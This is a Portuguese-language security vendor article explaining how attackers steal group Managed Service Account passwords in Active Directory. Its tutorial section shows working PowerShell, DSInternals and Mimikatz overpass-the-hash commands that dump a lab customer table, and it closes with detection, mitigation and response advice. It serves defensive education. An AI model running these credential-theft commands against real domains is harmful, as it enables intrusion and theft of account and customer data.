Ataque a Contas de Serviço Gerenciadas por Grupo
Contas de Serviço Gerenciadas (MSAs), agora conhecidas como Contas de Serviço Gerenciadas independentes (sMSAs), foram introduzidas no Windows Server 2008R2 e no Windows 7. Elas fornecem gerenciamento automático de senhas gerenciado pelo Active Directory e gerenciamento delegado para contas de serviço em um único sistema. Para o Windows Server 2012 e Windows 8, a Microsoft adicionou group Managed Service Accounts (gMSAs), que superam as sMSAs e adicionam a capacidade de usar a mesma conta de serviço em vários sistemas.
As contas de serviço são um alvo frequente para adversários porque podem fornecer os privilégios necessários para completar sua missão. As senhas para gMSAs são armazenadas no Active Directory no atributo msDS-ManagedPassword do objeto gMSA. Adversários podem aproveitar privilégios comprometidos para explorar um gMSA acessando sua senha. Por exemplo, a conta do computador (ou seja, processo executado como NT AUTHORITY\SYSTEM) para qualquer sistema que execute um serviço sob a identidade gMSA é capaz de acessar a senha.
Resumo de Ameaças
Alvo: Active Directory
Ferramentas: Mimikatz, DSInternals
Tática ATT&CK®: Acesso a Credenciais
Técnica ATT&CK: N/A
Dificuldade
Detecção: Baixa
Mitigação: Baixa
Resposta: Média
Tutorial de Ataque: Como funciona o ataque a Contas de Serviço Gerenciadas por Grupo
PASSO 1: Descobrir um gMSA explorável
Primeiro, um adversário deve identificar gMSAs que ele possa explorar. Um adversário deve ter comprometido uma conta com permissões para modificar as permissões do gMSA ou uma conta com permissões para ler a senha do gMSA. (A conta do computador para qualquer sistema que esteja utilizando legitimamente o gMSA tem a capacidade de ler a senha do Active Directory. Qualquer processo executado como o usuário NT AUTHORITY\SYSTEM, portanto, pode acessar a senha do gMSA.)
Neste exemplo, um adversário explorou uma vulnerabilidade em um sistema de gerenciamento de conteúdo (CMS) popular que permite a execução remota de código no servidor web. Eles descobriram que o CMS mal configurado está sendo executado como NT AUTHORITY\SYSTEM e enumeram as identidades sob as quais outros sites no servidor estão rodando, encontrando o gMSA SvcCustomerWeb$.
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> Import-Module WebAdministration
PS C:\Windows\system32> Get-ChildItem "IIS:\AppPools" | Foreach-Object {
>> $AppPoolName = $_.Name; (Get-Item "IIS:\AppPools\$($_.Name)").processModel |
>> Select @{Name = "AppPoolName"; Expression = {$AppPoolName}}, identityType, userName }
AppPoolNameidentityTypeuserName
-------------------------------
.NET v4.5ApplicationPoolIdentity
.NET v4.5 ClassicApplicationPoolIdentity
ContentManagementSystem LocalSystem
CustomerWebsiteSpecificUserSvcCustomerWeb$
DefaultAppPoolApplicationPoolIdentity
PS C:\Windows\system32>
PASSO 2: Comprometer a senha do gMSA
Next, the adversary needs to render the gMSA's 256-byte password (the equivalent of 256 characters), which is composed entirely of random bits, into a usable format. They can either convert the random bytes into a usable password or convert it to a NTLM hash, which can then be used with Pass-the-Hash or Overpass-the-Hash techniques. The DSInternals PowerShell module provides the ConvertFrom-ADManagedPasswordBlob and ConvertTo-NTHash cmdlets for these purposes.
PS C:\Windows\system32> Install-Module -Name DSInternals -Force
PS C:\Windows\system32> Import-Module DSInternals
# Acquire gMSA password
PS C:\Windows\system32> $gMSA = ConvertFrom-ADManagedPasswordBlob (Get-ADServiceAccount SvcCustomerWeb -prop 'msDS-ManagedPassword' | Select -expand 'msDS-ManagedPassword')
# Obtain plaintext password as 128 UTF-16 characters. Note: these characters don't render well in PowerShell, so we suggest outputing the password to a file:
# e.g.: $gMSA.CurrentPassword | Out-File gMSAPassword.txt
PS C:\Windows\system32> $gMSA.CurrentPassword
ﻛୄ㫢沬뛩톈ᒰ枭로挴ꦯ黯刳䛹㍶鴝ꠅꨜ♤ཙ㘩惦鷧౨⮎鹲좺ﯞ蓼䩿뻞έ恤ㇴ倹⤇쁻ຌ௫Я딝㌥頪園ᢜ䵼烗ₖ鍥쨼蟎ꠡÑ샄ℳ⽇፬⸗睎능찈숦ﭳⲭ鎚㰽韹땦쪪騌ힾ낝鋹员㾶쟟㳍ْ痪Л፝堪澴캄畩ʛ뛅ꔭ궡٬鹕☑늭颹躱煉㘬ꇶ蓾蕳Ḙ蝅葳⸕獜쑨罹祇諾쨒槖켥ꁼᏣ
# Obtain NTLM hash
PS C:\Windows\system32> ConvertTo-NTHash $gMSA.SecureCurrentPassword
9a9865e4a0412c6a726ec31568cbebc7
PS C:\Windows\system32>
PASSO 3: Use a senha gMSA para objetivos adicionais
O adversário pode agora usar as credenciais comprometidas para avançar seus objetivos. Neste exemplo, o adversário utiliza overpass-the-hash para se autenticar no banco de dados de clientes e exfiltrar uma lista de clientes, suas informações de contato e seus hashes de senha.
PS C:\Windows\system32> mimikatz.exe "sekurlsa::pth /user:SvcCustomerWeb$ /domain:domain.com /ntlm:9a9865e4a0412c6a726ec31568cbebc7" exit
# A new command prompt opens
C:\Windows\system32>mssql-cli --server dbserver --username "domain\SvcCustomerWeb$" --integrated --query "SELECT SYSTEM_USER; SELECT * FROM [CustomerApp].[dbo].[Customers];"
+--------------------------+
| (No column name)|
|--------------------------|
| DOMAIN\SvcCustomerWeb$|
+--------------------------+
(1 row affected)
+--------------+-------------+-----------+----------------------------+------------------------------------------+
| customerId| givenName| surName| email| password|
|--------------+-------------+-----------+----------------------------+------------------------------------------|
| 1| Bob| Jones| bjones@stealthbitslab.com| 6367c48dd193d56ea7b0baad25b19455e529f5ee |
| 2| Suzy| Smith| smith@stealthbitslab.com| 5d04c4864322580108f66e0e64c89a9aa31aef56 |
| 3| Amy| Hawkes| ahawkes@stealthbitslab.com | bf8ffd3a80b00c3a8bf9aca2edcae9203ab7837e |
| 4| Jill| Paul| jpaul@stealthbitslab.com| 3e8e521392424218e6e1b12c6d8803ba0a8645cf |
+--------------+-------------+-----------+----------------------------+------------------------------------------+
(4 rows affected)
Detectar, Mitigar e Responder
Detectar
Dificuldade: Baixa
Pode ser difícil detectar todas as leituras não autorizadas do atributo msDS-ManagedPassword, especialmente se ocorrerem como a conta do computador. No entanto, usuários regulares nunca devem acessar senhas gMSA, então monitorar os logs de eventos do Active Directory para acesso a senhas gMSA por usuários que não sejam contas de computador é uma detecção importante. Além disso, monitorar contas gMSA para alterações nas permissões (o atributo msDS-GroupMSAMembership) para quais entidades podem acessar a senha também é importante.
ID do Evento 4662 na subcategoria Audit Directory Service Access audita informações básicas sobre usuários realizando operações dentro do Active Directory para eventos especificados na system access control list (SACL).
Usando este evento, é possível ver quando um usuário lê uma senha gMSA. Para identificar esses eventos, filtre os logs de eventos por:
- Tipo de Operação: Acesso ao Objeto
- Acessos: Ler Propriedade
- Propriedades: Inclui o GUID {e362ed86-b728-0842-b27d-2dea7a9df218} Este é o GUID do atributo msDS-ManagedPassword.
Mitigar
Dificuldade: Média
Mitigar o risco de exploração de gMSA é, em última análise, sobre defender privilégios do Active Directory que permitem a um adversário modificar permissões de gMSA ou ler a senha, e adotar outras melhores práticas para prevenir a infiltração:
- Audite rotineiramente as permissões para modificar contas gMSA e adote agressivamente o princípio do menor privilégio.
- Audite rotineiramente a associação do atributo msDS-GroupMSAMembership em cada gMSA e garanta que apenas contas de computador autorizadas tenham privilégios para acessar a senha.
- Alerta, em tempo real, sobre alterações nas permissões do gMSA.
Responder
Dificuldade: Médio
Caso um usuário que não seja uma conta de computador autorizada recupere a senha gMSA ou ocorra uma alteração não autorizada nas permissões gMSA, existem várias ações que se pode tomar para responder imediatamente:
- Ative o processo de resposta a incidentes e alerte a equipe de resposta.
- Redefina a senha do usuário que realizou a ação e, opcionalmente, desative esse usuário para a) forçar a replicação instantânea para todos os controladores de domínio e b) interromper o uso da conta pelo adversário.
- Redefina a senha para a gMSA afetada.
- Coloque as máquinas impactadas em quarentena para investigação forense, bem como atividades de erradicação e recuperação.
Compartilhar em
Ver ataques de cibersegurança relacionados
Abuso de Permissões de Aplicativos Entra ID – Como Funciona e Estratégias de Defesa
Modificação do AdminSDHolder – Como Funciona e Estratégias de Defesa
Ataque AS-REP Roasting - Como Funciona e Estratégias de Defesa
Ataque Hafnium - Como Funciona e Estratégias de Defesa
Ataques DCSync Explicados: Ameaça à Segurança do Active Directory
Ataque Golden SAML
Entendendo ataques Golden Ticket
Ataque DCShadow – Como Funciona, Exemplos Reais e Estratégias de Defesa
Injeção de Prompt do ChatGPT: Entendendo Riscos, Exemplos e Prevenção
Ataque de Extração de Senha NTDS.dit
Ataque de Kerberoasting – Como Funciona e Estratégias de Defesa
Ataque Pass the Hash
Ataque Pass-the-Ticket Explicado: Riscos, Exemplos e Estratégias de Defesa
Ataque de Password Spraying
Ataque de Extração de Senha em Texto Simples
Vulnerabilidade Zerologon Explicada: Riscos, Explorações e Mitigação
Ataques de ransomware ao Active Directory
Desbloqueando o Active Directory com o Ataque Skeleton Key
Movimento Lateral: O que é, Como Funciona e Prevenções
Por que o PowerShell é tão popular entre os atacantes?
4 ataques a contas de serviço e como se proteger contra eles
Como Prevenir que Ataques de Malware Afetem o Seu Negócio
O que é Credential Stuffing?
Comprometendo o SQL Server com PowerUpSQL
O que são ataques de Mousejacking e como se defender contra eles
Roubando Credenciais com um Provedor de Suporte de Segurança (SSP)
Ataques de Rainbow Table: Como Funcionam e Como se Defender Contra Eles
Um Olhar Abrangente sobre Ataques de Senha e Como Impedi-los
Reconhecimento LDAP
Bypassando MFA com o ataque Pass-the-Cookie
Ataque Silver Ticket